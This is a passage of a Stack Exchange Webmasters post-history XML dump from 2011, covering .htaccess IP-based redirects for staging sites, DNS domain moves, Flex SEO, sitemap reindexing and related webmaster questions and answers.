RewriteCond %{HTTP_HOST} !^staging2.domain1.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://domain2.com/$1 [R=301]&#xD;&#xA;&#xD;&#xA;.htaccess in staging subdomain on domain1:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !^10\.2\.2\.1&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^staging.revolver.coop$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://domain2.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;The multiple .htaccess files and multiple rulesets require more processing overhead and longer iteration as the visitor is potentially redirected twice, however I find it to be a more granular method of control as I can selectively allow more than one IP address access to individual staging subdomain(s) without automatically granting them access to everything else. It also keeps the rulesets fairly simple and easy to read. (or re-interpret, because I'm always forgetting how I put rules together!)&#xD;&#xA;&#xD;&#xA;**If anybody can suggest a more efficient way of merging all these rules and conditions into just one main ruleset in the root of domain1, please post!** I'm always keen to learn, this post is more my attempt to preserve this information for those who are looking to redirect entire domains for all visitors except themselves (for design/testing purposes) and not just denying specific file access for maintenance mode (there are many good examples of simple mod_rewrite rules for 'maintenance mode' style operation easily findable via Google).&#xD;&#xA;&#xD;&#xA;You can also extend the IP address detection - firstly by using wildcards `^10\.2\.2\..*`: the last octet's `\..*` denotes the usual &quot;.&quot; and then &quot;zero or more arbitrary characters&quot;, signified by the `.*` - so you can specify specific ranges of IPs in a subnet or entire subnets if you wish.&#xD;&#xA;&#xD;&#xA;You can also use square brackets: `^10\.2\.[1-255]\.[120-140]`; `^10\.2\.[1-9]?[0-9]\.`; `^10\.2\.1[0-1][0-9]\.` etc.&#xD;&#xA;&#xD;&#xA;The third way, if you wish to specify multiple discrete IP addresses, is to bracket them in the style of `^(1.1.1.1|2.2.2.2|3.3.3.3)$`, and you can of course use square brackets to substitute octets or single digits again.&#xD;&#xA;&#xD;&#xA;NB: if you're using individual `RewriteCond` lines to specify multiple IPs / ranges, make sure to put `[OR]` at the end of each one otherwise mod_rewrite will interpret as &quot;if IP address matches 1.1.1.1 AND if IP address matches 2.2.2.2... which is of course impossible! However as far as I'm aware this isn't necessary if you're using the `!` negator to specify &quot;and is *not*...&quot;.&#xD;&#xA; &#xD;&#xA;Kudos also to SE: [this older question][1] also came in useful when I was verifying my own knowledge prior to my futzing around with code. [This page][2] was helpful, as were the various other links posted below (can't hyperlink them all due to spam protection... other regex checkers are available). The AddedBytes cheat sheet's useful to pin up on your wall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5953/how-to-disallow-access-to-site-except-me&#xD;&#xA;  [2]: http://www.noupe.com/php/10-mod_rewrite-rules-you-should-know.html&#xD;&#xA;&#xD;&#xA;*Other referenced URLs:*&#xD;&#xA;&#xD;&#xA; - internetofficer.com/seo-tool/regex-tester/&#xD;&#xA; - fantomaster.com/faarticles/rewritingurls.txt&#xD;&#xA; - internetofficer.com/seo-tool/regex-tester/&#xD;&#xA; - addedbytes.com/cheat-sheets/mod_rewrite-cheat-sheet/" />
  <row Id="37168" PostHistoryTypeId="1" PostId="15669" RevisionGUID="1fe00911-79b3-4fe6-82d6-11c1f38e8086" CreationDate="2011-06-22T03:00:54.880" UserId="8456" Text="Redirect all access requests to a domain and subdomain(s) except from specific IP address?" />
  <row Id="37169" PostHistoryTypeId="3" PostId="15669" RevisionGUID="1fe00911-79b3-4fe6-82d6-11c1f38e8086" CreationDate="2011-06-22T03:00:54.880" UserId="8456" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;mod-rewrite&gt;&lt;site-maintenance&gt;" />
  <row Id="37170" PostHistoryTypeId="25" PostId="15667" RevisionGUID="e35f47ab-3aca-4489-9b2d-6558d319b056" CreationDate="2011-06-22T03:24:52.457" Comment="http://twitter.com/#!/StackWebmasters/status/83374863133327360" />
  <row Id="37171" PostHistoryTypeId="10" PostId="15669" RevisionGUID="33f7bb6d-f72b-4e13-b0c4-22a4bbee83e7" CreationDate="2011-06-22T03:26:17.203" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37172" PostHistoryTypeId="17" PostId="15670" RevisionGUID="9db1a620-3a34-45b3-8007-089ba05fe57a" CreationDate="2011-06-22T03:38:29.263" UserId="-1" Comment="from http://stackoverflow.com/questions/6434466/how-to-use-the-domain-of-my-old-site-to-my-new-site" Text="" />
  <row Id="37173" PostHistoryTypeId="17" PostId="15671" RevisionGUID="90338718-af11-4047-be37-9d024b2db8fd" CreationDate="2011-06-22T03:38:29.263" UserId="-1" Comment="from http://stackoverflow.com/questions/6434466/how-to-use-the-domain-of-my-old-site-to-my-new-site" Text="" />
  <row Id="37174" PostHistoryTypeId="17" PostId="15672" RevisionGUID="787f97b4-4e70-4faf-83f9-c2f9638245df" CreationDate="2011-06-22T03:38:29.263" UserId="-1" Comment="from http://stackoverflow.com/questions/6434466/how-to-use-the-domain-of-my-old-site-to-my-new-site" Text="" />
  <row Id="37175" PostHistoryTypeId="2" PostId="15671" RevisionGUID="2799f2e0-fca8-4ce4-8adc-8330e65db631" CreationDate="2011-06-22T03:11:23.110" UserDisplayName="LainIwakura" Text="Go to your domain manager and point the domain name to the new server IP address. If you use something like godaddy it's in the control panel. " />
  <row Id="37176" PostHistoryTypeId="2" PostId="15672" RevisionGUID="7878c96c-7cdf-4499-b2b5-0ba213ff35dc" CreationDate="2011-06-22T03:12:47.073" UserDisplayName="Michael" Text="If you get into DNS manager.  Changing the A entry to whatever your new ip address is will do the trick." />
  <row Id="37177" PostHistoryTypeId="2" PostId="15670" RevisionGUID="3b019eaf-30a7-4bb4-974a-e696f0509a59" CreationDate="2011-06-22T03:09:08.153" UserDisplayName="Geewiz" Text="the site1.com is a joomla website.. that site is converted into wordpress. I want to have the domain of the joomla site (site1.com) to be the domain name of the wordpress.&#xD;&#xA;&#xD;&#xA;Note the two site have different server.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="37178" PostHistoryTypeId="1" PostId="15670" RevisionGUID="3b019eaf-30a7-4bb4-974a-e696f0509a59" CreationDate="2011-06-22T03:09:08.153" UserDisplayName="Geewiz" Text="How to use the domain of my old site to my new site?" />
  <row Id="37179" PostHistoryTypeId="3" PostId="15670" RevisionGUID="3b019eaf-30a7-4bb4-974a-e696f0509a59" CreationDate="2011-06-22T03:09:08.153" UserDisplayName="Geewiz" Text="&lt;websites&gt;&lt;domains&gt;&lt;dns&gt;" />
  <row Id="37180" PostHistoryTypeId="2" PostId="15673" RevisionGUID="283ea867-cf6a-4346-96de-d74f452b8a3b" CreationDate="2011-06-22T04:44:57.383" UserId="6800" Text=" 1. Get Wordpress ready in the new server.&#xD;&#xA; 2. Set the configuration file in Wordpress to point to the `site1.com` domain name.&#xD;&#xA; 3. Go to your domain name management system, and update the Nameserver address to your new server address.&#xD;&#xA; 4. Wait for the DNS to propogate.&#xD;&#xA; 5. Remove your old Joomla site." />
  <row Id="37181" PostHistoryTypeId="17" PostId="15674" RevisionGUID="ce990bf3-5c72-47fe-8254-b9ac2c53d8c5" CreationDate="2011-06-22T06:21:28.397" UserId="-1" Comment="from http://stackoverflow.com/questions/6431214/js-and-css-caching-issue-possibly-htaccess-related" Text="" />
  <row Id="37182" PostHistoryTypeId="2" PostId="15674" RevisionGUID="bbe4613c-964d-4be7-aa46-6253d3e6b152" CreationDate="2011-06-21T19:54:22.350" UserDisplayName="adamturtle" Text="I've been using the HTML5 Boilerplate for some web projects for a while now and have noticed the following issue cropping up on some sites.&#xD;&#xA;&#xD;&#xA;My CSS and JS files, when loaded by the browser, are being renamed to things like:&#xD;&#xA;&#xD;&#xA;    ce.52b8fd529e8142bdb6c4f9e7f55aaec0.modernizr-1,o7,omin,l.js&#xD;&#xA;&#xD;&#xA;…in the case of `modernizr-1.7.min.js`&#xD;&#xA;&#xD;&#xA;The pattern always seems to add `ce.` or `cc.` in front of the filename. I'm not sure what's causing this, and it's frustrating since when I make updates to those files, the same old cached file is being loaded. I have to explicitly call `modernizr-1.7.min.js?v=2` or something similar to get it to re-cache. I'd like to scrap it altogether but it still happens even when .htaccess is empty. Any ideas? Is anyone else experiencing this issue?" />
  <row Id="37183" PostHistoryTypeId="1" PostId="15674" RevisionGUID="bbe4613c-964d-4be7-aa46-6253d3e6b152" CreationDate="2011-06-21T19:54:22.350" UserDisplayName="adamturtle" Text="JS and CSS caching issue: possibly .htaccess related" />
  <row Id="37184" PostHistoryTypeId="3" PostId="15674" RevisionGUID="bbe4613c-964d-4be7-aa46-6253d3e6b152" CreationDate="2011-06-21T19:54:22.350" UserDisplayName="adamturtle" Text="&lt;javascript&gt;&lt;html&gt;&lt;css&gt;&lt;html5&gt;&lt;htaccess&gt;" />
  <row Id="37185" PostHistoryTypeId="25" PostId="15662" RevisionGUID="dd1824cc-3e36-49d9-9d36-9164906db959" CreationDate="2011-06-22T06:24:53.753" Comment="http://twitter.com/#!/StackWebmasters/status/83420170709770241" />
  <row Id="37186" PostHistoryTypeId="2" PostId="15675" RevisionGUID="062f1f36-fefe-4b03-bb95-d10513fec7c4" CreationDate="2011-06-22T06:40:13.900" UserId="8459" Text="I am planning to build a website completely in Flex. All the contents will be static. No DB will be used. Unfortunately I am not building the website for PUMA or NIKE and so SEO is important. There is an overwhelming and confusing information out there about Flex and SEO.&#xD;&#xA;&#xD;&#xA;The following is a piece of information I found on the web&#xD;&#xA;&#xD;&#xA;&quot; FLEX( Flash ) uses XML as a primary source of content, and XHTML is just a custom XML. The idea is to to use the HTML pages as XML content for the FLEX( Flash ) application. The XML can be read and indexed by the search engines, and it’s also the ideal content source for your FLEX( Flash ) application.' It goes on to explain how this can be done. Is this really that simple. &quot;&#xD;&#xA;&#xD;&#xA;Could someone give some credible links. SEO is important for me since I am planning to build the site for a resort. " />
  <row Id="37187" PostHistoryTypeId="1" PostId="15675" RevisionGUID="062f1f36-fefe-4b03-bb95-d10513fec7c4" CreationDate="2011-06-22T06:40:13.900" UserId="8459" Text="SEO techniques for a complete Flex Website" />
  <row Id="37188" PostHistoryTypeId="3" PostId="15675" RevisionGUID="062f1f36-fefe-4b03-bb95-d10513fec7c4" CreationDate="2011-06-22T06:40:13.900" UserId="8459" Text="&lt;seo&gt;&lt;flex&gt;" />
  <row Id="37189" PostHistoryTypeId="5" PostId="15663" RevisionGUID="566441e1-4270-480c-9377-50d76e0fdf4c" CreationDate="2011-06-22T07:58:59.507" UserId="1643" Comment="Made htaccess snippet look like code." Text="Google is probably trying them because someone has linked to those pages on their website or Google is assuming their is an index page for all of your directories of which there are none.&#xD;&#xA;&#xD;&#xA;You have two possible solutions:&#xD;&#xA;&#xD;&#xA;1. Do a 301 redirect from the `/xyz/` to `/xyz/index.html`, etc. This will tell Google that `/xyz/` has moved to `/xyz/index.html` and to stop looking for it.&#xD;&#xA;&#xD;&#xA;2. Tell Apache to use index.html as the index file for your directories. You can do that by placing this snippet in a file called `.htaccess` and placing it in your web root:&#xD;&#xA;&#xD;&#xA;`DirectoryIndex index.html`&#xD;&#xA;&#xD;&#xA;If you choose option two be sure to also use [canonical URLs][1] on your index.html pages so you avoid duplicate content issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="37190" PostHistoryTypeId="2" PostId="15676" RevisionGUID="afaaa1d6-c609-4d5c-8446-8f7f1e288222" CreationDate="2011-06-22T08:42:31.723" UserId="7198" Text="Try adding this line to the **bottom** of the user.js profile to force modal prompts:&#xD;&#xA;&#xD;&#xA;    user_pref(&quot;prompts.tab_modal.enabled&quot;, true);&#xD;&#xA;&#xD;&#xA;One of the lines in `user.js` is likely resetting the default behaviour for Firefox 4 prompts, so adding that line at the end of `user.js` should override the reset and force the new prompt style." />
  <row Id="37191" PostHistoryTypeId="2" PostId="15677" RevisionGUID="eb06f0da-f86d-40b7-920b-280ee9547403" CreationDate="2011-06-22T09:00:30.530" UserId="8463" Text="A client has asked me to develop and host a website in China (I'm in Europe). I'm looking for a reliable English-speaking hosting company and domains provider in China. Shared hosting will be sufficient with PHP/MySQL on linux servers.&#xD;&#xA;&#xD;&#xA;Finding a reliable hosting company can be difficult, especially abroad. I wonder, does anyone have experience with Chinese hosting companies? Is there a big &quot;main player&quot; like UK2 or GoDaddy?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="37192" PostHistoryTypeId="1" PostId="15677" RevisionGUID="eb06f0da-f86d-40b7-920b-280ee9547403" CreationDate="2011-06-22T09:00:30.530" UserId="8463" Text="Chinese hosting and domain registrar" />
  <row Id="37193" PostHistoryTypeId="3" PostId="15677" RevisionGUID="eb06f0da-f86d-40b7-920b-280ee9547403" CreationDate="2011-06-22T09:00:30.530" UserId="8463" Text="&lt;looking-for-hosting&gt;" />
  <row Id="37194" PostHistoryTypeId="2" PostId="15678" RevisionGUID="c8f61496-beb8-4d0c-b57e-221322085e86" CreationDate="2011-06-22T09:12:34.600" UserId="7198" Text="If SEO is your first priority, don't use Flex/Flash. It's now possible to create immersive experiences with HTML, CSS, and JavaScript, and the resulting website will likely be more accessible to people and to search engines.&#xD;&#xA;&#xD;&#xA;If you've considered HTML and still think Flex is a better option to create a brochure site, you can follow Adobe's [Search Optimization Techniques for RIAs](http://www.adobe.com/devnet/seo/articles/techniques_ria.html) and review [how Google indexes SWF files.](http://googlewebmastercentral.blogspot.com/2008/06/improved-flash-indexing.html) In summary, they suggest that you:&#xD;&#xA;&#xD;&#xA;1. Place all Flex text and content in the HTML source code within `&lt;noscript&gt;` tags. &#xD;&#xA;2. Use unique URLs for separate pages. (The Adobe article recommends ways to do this without having to creating one SWF file per page.)&#xD;&#xA;3. Avoid loading content from external sources where possible (e.g. loading remote XML), and embed text in the SWF file itself so that Google can read it.&#xD;&#xA;4. Use text instead of images for animated assets where you can (e.g. headers, logos, etc.).&#xD;&#xA;5. Avoid splash pages and loading Flash websites in popups (for 'full-screen experiences').&#xD;&#xA;6. Create a [sitemap](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&amp;from=40318&amp;rd=1) and submit it using Google Webmaster Tools." />
  <row Id="37195" PostHistoryTypeId="2" PostId="15679" RevisionGUID="603c89ae-db37-4702-ac8a-6f82a7674865" CreationDate="2011-06-22T09:20:34.677" UserId="8456" Text="I've noticed several IPs spidering my company's main web sites in entirety over the past 12 hours - it's nothing unusual. I suspect that as at least one of them appears to be a regular residential cable broadband connection here in the UK, they may well be people performing SEO-related indexing in order to gauge keyword effectiveness before trying to game a keyword in Google (and our sites are just one of many hits from their machine as part of that).&#xD;&#xA;&#xD;&#xA;Either that or they're looking for vulns!" />
  <row Id="37196" PostHistoryTypeId="25" PostId="15675" RevisionGUID="a1845a5c-c8ae-4606-b5e8-d342e1c789e6" CreationDate="2011-06-22T09:24:54.220" Comment="http://twitter.com/#!/StackWebmasters/status/83465471369818112" />
  <row Id="37197" PostHistoryTypeId="2" PostId="15680" RevisionGUID="59bf2359-8d4e-4d3d-834a-fb1383fd8ed5" CreationDate="2011-06-22T09:44:50.663" UserId="8456" Text="As others have said, I'm broadly in favour of self-managing DNS on external services. I use the rather excellent Afraid.org's service and have done so for a few years - now pay for a premium package so I can set invisibility flags on some domains, and just because I like the service. I even think I'm going to upgrade to the next tier.&#xD;&#xA;&#xD;&#xA;It's mildly cumbersome setting up a new domain (as opposed to my registrar's system autocreating records... which I would still have to modify); for one of my personal accounts on Dreamhost they've made it much easier by providing all the DNS records on one page for me to copy and paste after the domain's live on their system.&#xD;&#xA;&#xD;&#xA;Any disadvantages are vastly outweighed in speed, redundancy and separation from the actual registrar. One registrar I used in the past was notorious for dog slow refreshes of records after modification; afraid.org (like most other third party services) updates lightning quick and I can also force a custom TTL. Afraid also offers some nerdy and useful things like fallback DNS, dynamic records, AAAA records and other v6-related goodness, support for just about any record type you can conceive - with a clean, intuitive interface... Plus if you feel benevolent you can also share domains in the pool for other users to use (you can accept/deny requests to Private domains). It's free to try, I recommend it. I find it a far better service than DynDNS.com, which one of my customers insisted on using for years." />
  <row Id="37198" PostHistoryTypeId="2" PostId="15681" RevisionGUID="0669b7e7-7042-4b2d-921f-ce58ee0bd01b" CreationDate="2011-06-22T10:21:05.967" UserId="4502" Text="Unfortunately, you're largely stuck unless you feel like doing a bunch of data mangling.&#xD;&#xA;&#xD;&#xA;Tumblr provide no full-fidelity export process, and don't seem terribly interested in doing so anytime soon. Gina Trapani provides a little background &lt;a href=&quot;http://smarterware.org/8026/why-not-tumblr&quot;&gt;here&lt;/a&gt; as well as a link to a &lt;a href=&quot;http://staff.tumblr.com/post/286303145/tumblr-backup-mac-beta&quot;&gt;backup tool&lt;/a&gt; they produced in 2009 that's Mac-only, beta, and apparently untouched since then. Assuming you even run OSX, you'll have to decide for yourself if the data it does produce is enough to work with.&#xD;&#xA;&#xD;&#xA;Given that Blogger &lt;a href=&quot;http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=97416&quot;&gt;has an import format&lt;/a&gt;, your likely if not necessarily practical, best bet might be to create a blog over there with a few entries and export it. Then you can examine that file and reverse engineer it into a Tumblr template that'll output the blogger data format. (I haven't been able to dig up actual documentation of the Blogger format.)&#xD;&#xA;&#xD;&#xA;There are also some tools that basically scrape your Tumblr site, like the &quot;&lt;a href=&quot;http://boutofcontext.com/tumblr_backup.php&quot;&gt;tumble-log Backup Jammy&lt;/a&gt;,&quot; but it produces a paginated HTML dump that you'll still need to wrestle into some other format before you can do anything with it." />
  <row Id="37199" PostHistoryTypeId="17" PostId="15682" RevisionGUID="63bb1749-8347-4ba2-9cbc-536a9a6632a7" CreationDate="2011-06-22T11:26:41.130" UserId="-1" Comment="from http://serverfault.com/questions/280786/iis7-serving-mp4s-not-playable-on-ios-devices" Text="" />
  <row Id="37200" PostHistoryTypeId="2" PostId="15682" RevisionGUID="412fa36e-a7e7-46d1-bd80-e32dd3d2a0aa" CreationDate="2011-06-15T17:58:38.950" UserDisplayName="Danomite" Text="I've added the proper MIME type to the server, made sure it applies to not only the specific site but even the all of server's sites.&#xD;&#xA;&#xD;&#xA;The file is accessible and playable in my browser (Chrome) but when trying to pull it up on an iPhone , the debug mode warns me that the &quot;movie could not be played&quot; but on iPad it's &quot;byte_range_error_message&quot;&#xD;&#xA;&#xD;&#xA;I'm really at a loss here of why iOS devices won't load the video up. I know it's not the video files themselves because I had used the same file on a different server (on a shared hosting package).&#xD;&#xA;&#xD;&#xA;Any help is appreciated!&#xD;&#xA;-Dan" />
  <row Id="37201" PostHistoryTypeId="1" PostId="15682" RevisionGUID="412fa36e-a7e7-46d1-bd80-e32dd3d2a0aa" CreationDate="2011-06-15T17:58:38.950" UserDisplayName="Danomite" Text="IIS7 Serving .mp4s, not playable on iOS devices." />
  <row Id="37202" PostHistoryTypeId="3" PostId="15682" RevisionGUID="412fa36e-a7e7-46d1-bd80-e32dd3d2a0aa" CreationDate="2011-06-15T17:58:38.950" UserDisplayName="Danomite" Text="&lt;iis7&gt;&lt;video&gt;" />
  <row Id="37203" PostHistoryTypeId="2" PostId="15683" RevisionGUID="e64e27af-de16-494c-910e-959bb46e62cf" CreationDate="2011-06-22T11:51:04.767" UserId="7588" Text="Personally I think that you should opt out of the statistics on your development machines, at least in your debugging browser (Firefox) or your quick-add-content browser (Chrome) but not on your real-user-test-browser (IE).&#xD;&#xA;&#xD;&#xA;The best way to do it is with the plugin that Google provide so that you never register on analytics, with your own site or anyone else's:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Google Analytics Opt-out Browser Add-on (BETA)**&#xD;&#xA;&#xD;&#xA;&gt; *To provide website visitors more choice on how their data is collected by Google Analytics, we have developed the Google Analytics Opt-out Browser Add-on. The add-on communicates with the Google Analytics JavaScript (ga.js) to indicate that information about the website visit should not be sent to Google Analytics.*&#xD;&#xA;&#xD;&#xA;&gt; *If you want to opt-out, download and install the add-on for your current web browser. The Google Analytics Opt-out Browser Add-on is available for Microsoft Internet Explorer, Google Chrome, Mozilla Firefox, Apple Safari and Opera.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://tools.google.com/dlpage/gaoptout&#xD;&#xA;" />
  <row Id="37204" PostHistoryTypeId="2" PostId="15684" RevisionGUID="80a3294e-cf73-4ec2-a4d0-1700294f428e" CreationDate="2011-06-22T11:59:46.243" UserId="7588" Text="The httpd.conf for campaign.com with it pulling data from site.com/macguffin/&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    ServerName campaign.com&#xD;&#xA; &#xD;&#xA;    &lt;Proxy *&gt;&#xD;&#xA;        Order deny,allow&#xD;&#xA;        Allow from all&#xD;&#xA;    &lt;/Proxy&gt;&#xD;&#xA; &#xD;&#xA;    ProxyRequests Off&#xD;&#xA;    ProxyPreserveHost Off&#xD;&#xA; &#xD;&#xA;    ProxyPass / http://site.com/macguffin/&#xD;&#xA;    ProxyPassReverse / http://site.com/macguffin/&#xD;&#xA; &#xD;&#xA;    &lt;Location /&gt;&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;    &lt;/Location&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;" />
  <row Id="37205" PostHistoryTypeId="2" PostId="15685" RevisionGUID="68d17996-7af4-4986-8483-ebd346a7441e" CreationDate="2011-06-22T12:04:17.323" UserId="1253" Text="I agree completely about not using Flash/Flex if SEO is a priority. The problems with using Flash/Flex are:&#xD;&#xA;&#xD;&#xA;1. Lack of semantic markup. HTML is a huge part of ranking algorithms. Less HTML means less clues as to the meaning and importance of content.&#xD;&#xA;&#xD;&#xA;2. If your site uses one page to load the Flash content and then all of the content changes through Flash, you essentially have a one page website. How many one page websites do you see ranking well? One page websites lack internal links which are an excellent way to &quot;vote&quot; for your own pages. But without those &quot;votes&quot; you lose the links and the anchor text in them.&#xD;&#xA;&#xD;&#xA;There are plenty of other reasons not to use Flash/Flex for a website which includes accessibility issues and having to deal with users who do not have Flash installed on their device (i.e. Apple's mobile products. Also, the computer I am on right now does not have Flash installed).&#xD;&#xA;&#xD;&#xA;If possible, build the site using HTML, CSS, and JavaScript using progressive enhancement. That way you ensure maximum compatibility, accessibility, and search engine friendliness. If you want to use Flash to enhance the page, go ahead and do so. But I wouldn't use it to deliver important content." />
  <row Id="37206" PostHistoryTypeId="25" PostId="15660" RevisionGUID="354ec4dc-f1f1-4a3e-ad86-21cdfcb8d272" CreationDate="2011-06-22T12:24:53.917" Comment="http://twitter.com/#!/StackWebmasters/status/83510770431827968" />
  <row Id="37207" PostHistoryTypeId="17" PostId="15686" RevisionGUID="231d0493-4f82-4fe6-9060-8cd668e82d92" CreationDate="2011-06-22T12:48:30.637" UserId="-1" Comment="from http://stackoverflow.com/questions/6438373/in-browser-painting-app" Text="" />
  <row Id="37208" PostHistoryTypeId="17" PostId="15687" RevisionGUID="2cdb5390-0c00-43b3-adb1-5d04121b1ed3" CreationDate="2011-06-22T12:48:30.637" UserId="-1" Comment="from http://stackoverflow.com/questions/6438373/in-browser-painting-app" Text="" />
  <row Id="37209" PostHistoryTypeId="2" PostId="15687" RevisionGUID="32774154-ca44-4e87-aeae-33d23d6d6d33" CreationDate="2011-06-22T11:01:10.137" UserId="774" Text="Sounds like you're looking for [the HTML5 Canvas object][1] (or you'll need something written in Flash or java).&#xD;&#xA;&#xD;&#xA;&gt; possible to save the result as image and to interact with it via PHP&#xD;&#xA;&#xD;&#xA;Meaning you want to save it serverside - which is an exact duplicate of http://stackoverflow.com/questions/1590965/uploading-canvas-image-data-to-the-server&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.williammalone.com/articles/create-html5-canvas-javascript-drawing-app/" />
  <row Id="37210" PostHistoryTypeId="2" PostId="15686" RevisionGUID="73ec9e98-c2c3-479a-8ff8-fffcf8cad6e4" CreationDate="2011-06-22T10:28:47.103" UserDisplayName="Zurechtweiser" Text="I want to offer visitors of my site an *in-browser drawing app*. &#xD;&#xA;&#xD;&#xA;Which apis help me doing that *for free* and *easily* without showing too much of it's origin like by using a link or a huge ad of the service? &#xD;&#xA;&#xD;&#xA;Additionally it should be possible to *save the result as image* and to interact with it via *PHP*." />
  <row Id="37211" PostHistoryTypeId="1" PostId="15686" RevisionGUID="73ec9e98-c2c3-479a-8ff8-fffcf8cad6e4" CreationDate="2011-06-22T10:28:47.103" UserDisplayName="Zurechtweiser" Text="In-browser painting app" />
  <row Id="37212" PostHistoryTypeId="3" PostId="15686" RevisionGUID="73ec9e98-c2c3-479a-8ff8-fffcf8cad6e4" CreationDate="2011-06-22T10:28:47.103" UserDisplayName="Zurechtweiser" Text="&lt;php&gt;&lt;image&gt;&lt;api&gt;&lt;free&gt;" />
  <row Id="37213" PostHistoryTypeId="17" PostId="15688" RevisionGUID="8caa6df4-bb25-481c-868c-3c759d446cce" CreationDate="2011-06-22T13:35:56.217" UserId="-1" Comment="from http://stackoverflow.com/questions/6440627/how-to-tell-google-that-i-have-changed-my-website-urls" Text="" />
  <row Id="37214" PostHistoryTypeId="17" PostId="15689" RevisionGUID="88c6326c-29aa-458d-befb-5cfb12740401" CreationDate="2011-06-22T13:35:56.217" UserId="-1" Comment="from http://stackoverflow.com/questions/6440627/how-to-tell-google-that-i-have-changed-my-website-urls" Text="" />
  <row Id="37215" PostHistoryTypeId="17" PostId="15690" RevisionGUID="6b7ecc36-eaac-4374-83e6-80be32b4cae8" CreationDate="2011-06-22T13:35:56.217" UserId="-1" Comment="from http://stackoverflow.com/questions/6440627/how-to-tell-google-that-i-have-changed-my-website-urls" Text="" />
  <row Id="37216" PostHistoryTypeId="17" PostId="15691" RevisionGUID="209d2b2f-fb08-41fc-a734-35a283e4e841" CreationDate="2011-06-22T13:35:56.217" UserId="-1" Comment="from http://stackoverflow.com/questions/6440627/how-to-tell-google-that-i-have-changed-my-website-urls" Text="" />
  <row Id="37217" PostHistoryTypeId="2" PostId="15689" RevisionGUID="3afa3989-41da-459a-9ccd-e5de6f8d6d46" CreationDate="2011-06-22T13:31:22.863" UserDisplayName="Michael Wright" Text="Ensure you have 301 redirects setup from old pages to the new ones! :) " />
  <row Id="37218" PostHistoryTypeId="2" PostId="15690" RevisionGUID="abf37c9b-bfa4-4643-a574-e45a15f9f888" CreationDate="2011-06-22T13:32:56.670" UserDisplayName="alquatoun" Text="There's no way to force Google to crawl your site. You just have to wait for the spider to crawl and reindex. If you submitted a sitemap on Webmaster Tools, that's about all you can do. It will probably take more than three days though." />
  <row Id="37219" PostHistoryTypeId="2" PostId="15691" RevisionGUID="d6287618-9a29-4681-82d9-03d6a30ab4ea" CreationDate="2011-06-22T13:34:04.547" UserDisplayName="BOMEz" Text="Sitemaps normally takes a few days to update, but 3 days is a bit much. Are you sure that you are not violating any of the [technical guidelines][1]? If you have too much javascript or flash google won't be able to crawl the site properly&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=35769#2" />
  <row Id="37220" PostHistoryTypeId="2" PostId="15688" RevisionGUID="fa50e6c2-73bf-4d79-af3e-32278934b6ea" CreationDate="2011-06-22T13:25:43.867" UserDisplayName="Momen M El Zalabany" Text="I have done major updates in my website, and renamed all my urls.&#xD;&#xA;&#xD;&#xA;Problem is how can i tell google to i have renamed all urls and let google refresh his library ?&#xD;&#xA;&#xD;&#xA;I have uploaded sitemap vai google webmaster tools many times.&#xD;&#xA;&#xD;&#xA;**My Website url** : http://www.pndmasr.com&#xD;&#xA;&#xD;&#xA;**My sitemap** http://www.pndmasr.com/sitemap.xml&#xD;&#xA;&#xD;&#xA; but still every time i search google for &quot;pndmasr&quot; i get old pages results, i have waited &#xD;&#xA;&#xD;&#xA;more than 3 days by yet same problem. any solutions ?&#xD;&#xA;&#xD;&#xA;is there a problem with my sitemap ?" />
  <row Id="37221" PostHistoryTypeId="1" PostId="15688" RevisionGUID="fa50e6c2-73bf-4d79-af3e-32278934b6ea" CreationDate="2011-06-22T13:25:43.867" UserDisplayName="Momen M El Zalabany" Text="How to tell google that i have changed my website urls ?" />
  <row Id="37222" PostHistoryTypeId="3" PostId="15688" RevisionGUID="fa50e6c2-73bf-4d79-af3e-32278934b6ea" CreationDate="2011-06-22T13:25:43.867" UserDisplayName="Momen M El Zalabany" Text="&lt;php&gt;&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="37223" PostHistoryTypeId="2" PostId="15692" RevisionGUID="417cdefc-9120-48ef-a1bd-7eaa99ba44db" CreationDate="2011-06-22T13:37:00.797" UserId="8470" Text="You can register your Site at Google's Webmaster Tools. There you can tell Google if a page of yours changed. Of course it takes a while until Google updates its search result set." />
  <row Id="37224" PostHistoryTypeId="2" PostId="15693" RevisionGUID="2997f7b2-e754-4494-82ba-9c0ea7ff9dbb" CreationDate="2011-06-22T13:39:22.293" UserId="8469" Text="I have a form where I ask for email addresses.  Usually I'd use&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;email&quot; ...&gt;&#xD;&#xA;&#xD;&#xA;but I want to allow a user to type `foo` rather than `foo@mycompany.com` in the (likely) case that they are using an `@mycompany.com` email address.  Is there a way to get around the validation (if format matches this regex, accept; otherwise, validate normally), or should I just use&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;text&quot; ...&gt;&#xD;&#xA;&#xD;&#xA;and ignore the semantics and so forth?" />
  <row Id="37225" PostHistoryTypeId="1" PostId="15693" RevisionGUID="2997f7b2-e754-4494-82ba-9c0ea7ff9dbb" CreationDate="2011-06-22T13:39:22.293" UserId="8469" Text="input type=&quot;email&quot;" />
